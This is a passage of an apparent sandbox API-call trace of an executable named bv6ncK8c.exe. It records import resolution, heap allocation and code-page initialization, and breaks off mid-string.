(hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0084.105] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0084.106] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0084.107] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0084.108] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0084.108] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0084.108] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0084.109] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0084.109] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0084.109] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0084.109] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0084.110] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0084.110] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0084.110] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0084.111] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0084.111] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0084.111] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0084.111] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0084.111] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0084.111] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0084.111] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0084.582] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0084.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd61d5900, dwHighDateTime=0x1d5d06a)) [0084.583] GetCurrentThreadId () returned 0xce4 [0084.583] GetCurrentProcessId () returned 0xce0 [0084.583] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22653505359) returned 1 [0084.583] GetProcessHeap () returned 0x5a0000 [0084.584] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0084.584] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0084.585] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0084.586] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0084.587] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3bc) returned 0x5b60c8 [0084.587] GetCurrentThreadId () returned 0xce4 [0084.587] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b6490 [0084.587] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5b64b0 [0084.587] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c 150 -y -p 1824 -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x91898698, hStdError=0x0)) [0084.587] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0084.587] GetFileType (hFile=0x3) returned 0x2 [0084.587] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0084.587] GetFileType (hFile=0x7) returned 0x2 [0084.588] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0084.588] GetFileType (hFile=0xb) returned 0x2 [0084.588] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 150 -y -p 1824 -nobanner" [0084.588] GetEnvironmentStringsW () returned 0x5b6cb8* [0084.588] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xb86) returned 0x5b7848 [0084.588] FreeEnvironmentStringsW (penv=0x5b6cb8) returned 1 [0084.589] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8e) returned 0x5b6cb8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xa0) returned 0x5b6d50 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3e) returned 0x5b83f0 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6c) returned 0x5b6df8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6e) returned 0x5b6e70 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x78) returned 0x5af8e8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x62) returned 0x5b6ee8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b6f58 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5b6f90 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2a) returned 0x5b6fe0 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x28) returned 0x5b7018 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1a) returned 0x5b5a98 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x4a) returned 0x5b7048 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x72) returned 0x5af968 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b70a0 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b70d8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1c) returned 0x5b5ac0 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xd2) returned 0x5b7110 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x7c) returned 0x5b71f0 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5b7278 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3a) returned 0x5b8438 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x90) returned 0x5b72b8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5b7350 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b7380 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5b73b8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5b73f8 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5b7448 [0084.589] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5b8480 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x18) returned 0x5b74a8 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x82) returned 0x5b74c8 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b7558 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1e) returned 0x5b5ae8 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2c) returned 0x5b7590 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5b75c8 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5b7628 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2a) returned 0x5b7688 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5b84c8 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5b76c0 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5b7720 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b7750 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x8c) returned 0x5b7788 [0084.590] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7848 | out: hHeap=0x5a0000) returned 1 [0084.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5b7820 [0084.590] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] GetACP () returned 0x4e4 [0084.591] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x220) returned 0x5b8028 [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] IsValidCodePage (CodePage=0x4e4) returned 1 [0084.591] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0084.591] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0084.591] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0084.591] GetLastError () returned 0x0 [0084.591] SetLastError (dwErrCode=0x0) [0084.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0084.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0084.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0084.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 